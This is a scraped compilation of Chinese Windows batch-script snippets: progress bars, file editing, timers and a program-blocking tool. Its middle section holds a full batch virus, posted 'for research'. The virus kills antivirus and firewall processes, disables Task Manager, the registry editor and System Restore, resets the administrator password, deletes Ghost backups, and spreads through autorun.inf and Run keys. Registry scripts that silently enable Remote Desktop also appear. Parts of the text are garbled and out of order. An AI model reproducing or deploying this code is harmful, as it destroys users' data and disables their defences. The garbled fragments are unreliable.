比如:set "str=this is a test" 表示str是一个字符型所以要加 ""
复制内容到剪贴板

比较漂亮的批处理进度条效果代码

比较漂亮的批处理进度条效果代码

⽐较漂亮的批处理进度条效果代码1、批处理⽂件实现进度条的效果⼀@echo offmode con cols=113 lines=15 &color 9f:starthomeclsset a=^set /p=■%b%^<nul^&ping/n 0 127.1^>nul^&echo.echo 程序正在初始化. . .echo.echo ┌──────────────────────────────────────┐set/p= <nul&%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a% echo 100%%echo └──────────────────────────────────────┘set b=set a=■set /a z=100pause:startclsset a=%a%■■set /a b+=5set /a z-=5echo.@echo 剩余进度 %z%%%@echo ┌──────────────────────────────────────────┐@echo %a% %b%%%@echo └──────────────────────────────────────────┘if %b% geq 100 goto num2ping /n 0 127.1 >nulset /a sum =5goto start:_exitset /a sum-=1set/p=%sum% 秒后退出! <nulecho.if %sum% EQU 0 exitping /n 2 127.1 >nulgoto _exitrem 冲到⼀半再缩,冲到⼀半再加:num2setlocal EnableDelayedexpansionset sum=Set z=set a=■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■set /a z1=52set /a z2=52:start2clsset sum52=set /a z2=52set /a sum+=1set /a z1-=1set b=!a:~%sum%!set c=!a:~-%sum%!call :_colorecho.echo.echo 剩余进度:%z1%%%echo ┌──────────────────────────────────────────────────────┐echo %b% %z1%%%echo └──────────────────────────────────────────────────────┘echo 当前颜⾊代码: COLOR 0!numca!echo.echo.echo 当前进度:%sum%%%echo ┌──────────────────────────────────────────────────────┐echo %c% %sum%%%echo └──────────────────────────────────────────────────────┘echo 当前颜⾊代码: COLOR 0!numca!if %sum% geq 52 call :sum52ping /n 0 127.1 >nulgoto start2:sum52clsset sum=set /a z1=52set /a sum52+=1set /a z2-=1set c=!a:~%sum52%!set b=!a:~-%sum52%!call :_colorecho.echo.echo 当前进度:%sum52%%%echo ┌──────────────────────────────────────────────────────┐echo %b% %sum52%%%echo └──────────────────────────────────────────────────────┘echo 当前颜⾊代码: COLOR 0!numca!echo.echo.echo 剩余进度:%z2%%%echo ┌──────────────────────────────────────────────────────┐echo %c% %z2%%%echo └──────────────────────────────────────────────────────┘echo 当前颜⾊代码: COLOR 0!numca!if %sum52% geq 52 call :start2ping /n 0 127.1 >nulclsgoto sum52:_colorset _color=1234567890ABCDEFset /a _random=%random%%%16set numca=!_color:~%_random%,1!color 0!numca!goto :eof2、批处理⽂件实现进度条的效果⼆类似于git或者Node下载⽂件的时候那种滚动条效果@echo offsetlocalset COUNT=0set MAXCOUNT=200set SECONDS=1:LOOPcls@echo "....................\"call :WAITcls@echo "....................|"call :WAITcls@echo "..................../"call :WAITcls@echo "....................-"call :WAITif /i "%COUNT%" equ "%MAXCOUNT%" goto :EXITset /a count+=1rem echo %COUNT%goto :LOOP:WAITping -n %SECONDS% 127.0.0.1 > nulping -n %SECONDS% 127.0.0.1 > nulping -n %SECONDS% 127.0.0.1 > nulgoto :EOF:EXITtitle FIN!endlocal。

批处理命令

批处理命令

批处理文件怎么编写:制作编写超级批处理病毒疯狂代码 / ĵ:http://Security/Article73199.html网上批处理病毒代码很少我发段我写批处理给大家研究我水平般也就只能写出这点东西了大家多多包涵废话不多说了大家看代码仅供研究不要做坏事 @echo off title You DEAD!!!!!!! taskkill=s copy %0%windir%\system32\cmd.bat attrib %windir%\system32\cmd.bat +r +s +h net stop sharedaccess>nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul%s% /im norton* /f >nul %s% /im av* /f >nul %s% /im fire* /f >nul %s% /im anti* /f >nul %s% /im spy* /f >nul %s% /im bullguard /f >nul %s% /im PersFw /f >nul %s% /im KAV* /f >nul %s% /im ZONEALARM /f >nul %s% /im SAFEWEB /f >nul %s% /im OUTPOST /f >nul %s% /im nv* /f >nul %s% /im nav* /f >nul %s% /im F-* /f >nul %s% /im ESAFE /f >nul %s% /im cle /f >nul %s% /im BLACKICE /f >nul %s% /im def* /f >nul %s% /im 360safe.exe /f >nul net stop Shadow" "" "Service alldrive=d e f g h i j k l m n o p q r s t u v w x y z for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul rem 修改注册表....... REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ /v Disableregistrytools /t REG_DWORD /d 00000002 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ /v DisableTaskMgr /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\Restore /v DisableSR /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\Restore /v DisableConfig /t REG_DWORD /d 00000001 /f >nul REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f >nul cls net user administrator 123456 >nul for %%c in (c%alldrive%) do del %%c:\*.gho /f /s /q >nul echo @echo off >d:\up.bat echo shutdown -r -t 10 -f -c 亲爱朋友我十分抱歉通知你你电脑已经严重崩溃请重新 安装系统可以解决此问题 !^.^ >>d:\up.bat echo copy d:\up.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\\启动 \a.bat >>d:\up.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /d d:\up.bat /f >>d:\up.bat echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /dd:\up.bat /f >>d:\up.bat echo REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v up.bat /t REG_SZ /d d:\up.bat /f >>d:\up.bat HKEY_CLASSES_ROOT\batfile\shell\open\command /v up.bat /t REG_SZ /d d:\up.bat /f >>d:\up.bat echo [windows] >> %windir%\win.ini echo run=d:\up.batC:\AUTOEXEC.BAT >> %windir%\win.ini echo load=d:\up.bat C:\AUTOEXEC.BAT >> %windir%\win.ini echo [boot] >> %windir%\system.ini echo shell=explorer.exe up.bat C:\AUTOEXEC.BAT >>%windir%\system.ini echo [AutoRun] >d:\autorun.inf echo Open=up.bat >>d:\autorun.inf echoOpen=system.bat >>d:\autorun.inf attrib d:\autorun.inf +r +s +h >>d:\up.bat attrib d:\up.bat +r +s +h >>d:\up.bat start d:\up.bat /min >nul echo @echo off >>C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /tREG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT echo REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /d d:\up.bat /f >>C:\AUTOEXEC.BAT echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /dd:\up.bat /f >>C:\AUTOEXEC.BAT REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v up.bat /t REG_SZ /d d:\up.bat /f >>C:\AUTOEXEC.BAT echo not d:\up.bat start %windir%\system32\cmd.bat /min>>C:\AUTOEXEC.BAT copy %0 %systemroot%\windows.bat >nul not exist%windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat not existC:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>% windir%/system32/explorer.bat not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat echo REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /tREG_SZ /d C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat echo REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /d d:\up.bat /f >>%windir%/system32/explorer.bat echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v up.bat /t REG_SZ /dd:\up.bat /f >>%windir%/system32/explorer.bat echo REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat echo REG ADDHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat echo start%systemroot%\windows.bat /min >>%windir%/system32/explorer.bat attrib%windir%/system32/explorer.bat +r +s +h% attrib %systemroot%/windows.bat +r +s +h for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat for %%c in (%alldrive%) do echo start%windir%\system32\cmd.bat /min >>%%c:\system.bat for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat drive=e f g h i j k l m n o p q r s t u v w x y z for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf copy %0 d:\Program" "Files\run.bat for %%c in (%alldrive%) do echo not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min >>%%c:\system.bat for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min >>d:\up.bat attrib d:\Program" "Files\run.bat +r +s +h >nul del %0 exit具体意思我也不说了太长了有点批处理基础朋友应该都看得懂 虽然我检查过但是写这么长难免有哪里写错了还请高手们多多指点上篇文章: 详细解析Windows按键突破专家原理下篇文章: EXE自删除实现。

批处理 修改文件内容 代码

批处理 修改文件内容 代码

批处理修改文件内容代码
批处理是一种用于自动化处理文件的技术。

它可以通过一系列的命令和操作,对文件进行修改、复制、删除等操作。

下面是一个批处理修改文件内容的示例代码:
```
@echo off
setlocal enabledelayedexpansion
set inputFile=input.txt
set outputFile=output.txt
REM 读取输入文件的内容
for /f "delims=" %%a in (%inputFile%) do (
set line=%%a
REM 在这里进行对文件内容的修改操作
REM 假设我们将每一行的内容前面都添加一个时间戳
set timestamp=!TIME!
echo !timestamp! %%a >> %outputFile%
)
echo 文件内容修改完成!
pause
```
以上代码是一个简单的示例,它会读取名为"input.txt"的输入文件,并将每一行的内容前面添加一个时间戳,然后将修改后的内容写入名为"output.txt"的输出文件中。

请注意,这只是一个示例代码,实际使用时需要根据具体需求进行修改。

例如,可以根据自己的需求修改输入文件和输出文件的名称,以及对文件内容进行的具体修改操作。

希望以上示例能够帮助你理解批处理修改文件内容的过程。

批处理是一种非常有用的技术,可以帮助我们自动化处理文件,提高工作效率。

祝你使用批处理取得好的效果!。

一个非常酷的倒计时批处理-电脑资料

一个非常酷的倒计时批处理-电脑资料

一个非常酷的倒计时批处理-电脑资料一个很酷的倒计时批处理,奉献给大家:@echo offMODE con COLS=40 LINES=18title 禁止和解除指定程序运行--陈兵 OO:286569692:beginsetlocal ENABLEDELAYEDEXPANSIONclsecho.echo. ╭─────────╮echo. ╭───┤选择如下操作├───╮echo. │╰─────────╯│echo. ││echo. │ A.添加要禁止的程序│echo. ││echo. │ B.删除已禁止的程序│echo. ││echo. │ C.查看全部禁止的程序│echo. ││echo. │ Z.退出程序│echo. ││echo. ╰─────────────────╯echo.copy %systemdrive%\\WINDOWS\\jzcx %systemdrive%\\WI NDOWS\\jzcx.txt>nulset /p enter= 请你输入你的选择:if not "%enter%"=="" set enter=%enter:~0,1%if /i "%enter%"=="A" goto jinzhiaddif /i "%enter%"=="B" goto jinzhidelif /i "%enter%"=="C" goto jinzhickif /i "%enter%"=="Z" goto exitgoto begin:jinzhiaddclsecho.echo.echo. 输入要禁止的程序:按 Y 返回菜单echo.set /p input=if /i "%input%"=="Y" goto beginecho %input%>>%systemdrive%\\WINDOWS\\jzcx.txtreg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%input%" /v debugger /t reg_sz /d debugfile.exe /fecho.echo. 成功添加要禁止的程序 %input%echo.echo. 任意键,返回其他操作copy %systemdrive%\\WINDOWS\\jzcx.txt %systemdrive%\ \WINDOWS\\jzcx>nulpause>nulgoto begin:jinzhidelclsecho.echo.echo.echo.echo. 全部禁止的程序如下:echo -------------------------------echo.type %systemdrive%\\WINDOWS\\jzcx.txtecho.echo -------------------------------echo.echo. 输入要删除的禁止程序: 按 Y 返回菜单echo.set /p jinzhidel=if /i "%jinzhidel%"=="Y" goto beginreg delete "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%jinzhidel%" /f@for /f "tokens=* delims=" %%i in ('findstr /i /v /c:%jinzhidel% %systemdrive%\\WINDOWS\\jzcx.txt') do ( set var=%%iecho !var!>>temp.txt)copy temp.txt %systemdrive%\\WINDOWS\\jzcx.txt>nuldel temp.txtclsecho.echo.echo.echo.echo. 操作完成echo.echo.echo. 任意键,返回其他操作copy %systemdrive%\\WINDOWS\\jzcx.txt %systemdrive%\\WINDOWS\\jzcx>nulpause>nulgoto begin:jinzhickclsecho.echo. 全部禁止的程序如下:echo --------------------------------echo.type %systemdrive%\\WINDOWS\\jzcx.txt echo.echo --------------------------------echo.echo. 任意键返回其他操作pause>nul。

几个经典的批处理

几个经典的批处理

Win XP&Win 2003开3389代码:echo Windows Registry Editor Version 5.00 >3389.regecho. >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.regecho "fDenyTSConnections"=dword:00000000 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.regecho "PortNumber"=dword:00000d3d >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.regecho "PortNumber"=dword:00000d3d >>3389.regWin2000开3389:echo Windows Registry Editor Version 5.00 >2000.regecho. >>2000.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>200 0.regecho "Enabled"="0" >>2000.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.regecho "ShutdownWithoutLogon"="0" >>2000.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg echo "EnableAdminTSRemote"=dword:00000001 >>2000.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.regecho "TSEnabled"=dword:00000001 >>2000.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg echo "Start"=dword:00000002 >>2000.regecho[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg echo "Start"=dword:00000002 >>2000.regecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.regecho "Hotkey"="1" >>2000.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.regecho "PortNumber"=dword:00000D3D >>2000.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.regecho "PortNumber"=dword:00000D3D >>2000.reg效劳器重启代码:(set inf=InstallHinfSection DefaultInstall)echo signature=$chicago$ >> restart.infecho [defaultinstall] >> restart.infrundll32 setupapi,%inf% 1 %temp%\restart.inf一些ghostxp无法连接3389的解决方法:Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\Root\\RDPDR\\0000] "ClassGUID"="{4D36E97D-E325-11CE-BFC1-08002BE10318}" "Class"="System""HardwareID"=hex(7):52,00,4f,00,4f,00,54,00,5c,00,52,00,44,00,50,00,44,00,52,\\00,00,00,00,00"Driver"="{4D36E97D-E325-11CE-BFC1-08002BE10318}\\\\0030""Mfg"="(标准系统设备)""Service"="rdpdr""DeviceDesc"="终端效劳器设备重定向器""ConfigFlags"=dword:00000000"Capabilities"=dword:00000000这个注册表文件开始是没权限导入的。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

------------------------------
Quote:
::CURRENT.BAT
@echo off
echo Haha, it's the time to go!!
::TIMER.BAT
@echo off
:start
echo.|time|find "10:30:00">run.bat
choice /c:y /t:y,59 /n>nul
call run.bat
goto start
ASCII汇编代码,延迟精度为0.001秒,适用平台为MS-DOS/Win9x/WinNT。
德国人Herbert Kleebauer给出了一个通用方案,通过ASCII汇编器间接产生一个sleep.exe程序来实现延迟,这个程序分为DOS和Win两个模块,分别调用DOS系统中断服务和WindowsAPI。
for %%a in (0,1,2,3,4,5,6,7,8,9) do echo 192.168.1.%1%%a
choice continue
if errorlevel 2 goto end
shift
goto redo
:end
一个定时器程序
程序中的 CURRENT.BAT 可以更换为自己需要执行的内容。FIND 一句的时间可以根据自己的需要设定,也可用参数%1代替。还可以改为 TIME 改为 DATE 以完成的定期执行的功能。
:input
echo.
echo Type input:
FC con nul /lb1 /n |FIND "1:" > %temp%.\t2.bat
:: Error checking begins here ; nul
if not errorlevel=1 goto error
@echo off
rem 保存系统时间
echo.|date>sysdate.bat
echo.|time>systime.bat
rem 修改系统时间为指定时间,日期为参数一,时间为参数二,文件名为参数三
date %1
time %2
rem 修改文件的时间
copy %3+,,>nul
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
@echo off
:redo
if "%1" == "" goto end
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6>>
echo T}{z~~@GwkBG@OEKcUt`~}@MqqBsy?seHB~_Phxr?@zAB`LrPEyoDt@Cj?>>
FIND "=" %temp%.\t2.bat > nul
if not errorlevel=1 goto error
FIND " nul
if not errorlevel=1 goto error
FIND ">" %temp%.\t2.bat > nul
if not errorlevel=1 goto error
:: Error checking end
DEBUG %temp%.\t2.bat nul
call %temp%.\t2.bat 字符串
for %%? in (t1.dat t2.bat) do del %temp%.\%%?
echo 字符串=%字符串%
goto eof
:error
echo.
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
:: Sleep.bat - Sleep/Delay/Wait n seconds
精彩批处理代码
接收键盘输入字符串的程序
:: Get user input - includes error check
@echo off
echo e102'set %%1='> %temp%.\t1.dat
for %%? in (w q) do echo %%?>> %temp%.\t1.dat
del current.bat
echo on
PING某个区段内的所有IP的程序
在命令行输入 a.bat 0 1 2 3 4 5 6 7 8 9 ,就能显示某区段的所有 IP 地址 192.168.1.0 - 192.168.1.99 ,将其中的 echo 改成 ping 就行,其中的 choice 和 if 语句是等待用户判断是否继续,可以删除,但这样中断程序比较麻烦。
:: Herbert Kleebauer(Germany) - 2005/05/29
:: Modified by Will Sort - 2005/06/02, 07-25
@echo off
echo q | debug>nul
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>
echo @PROMPT Invalid input. Invalid characters: $Q $L $G $B$_> %temp%.\t2.bat
%comspec% /c %temp%.\t2.bat |FIND ":"
goto input
:eof
一个修改文件的更新日期的程序
rem 恢复系统时间
echo date %%4>current.bat
call sysdate
echo time %%3>current.bat
call systime
rem 程序执行完毕
echo Success.
del systime.bat
del sysdate.bat
相关文档
最新文档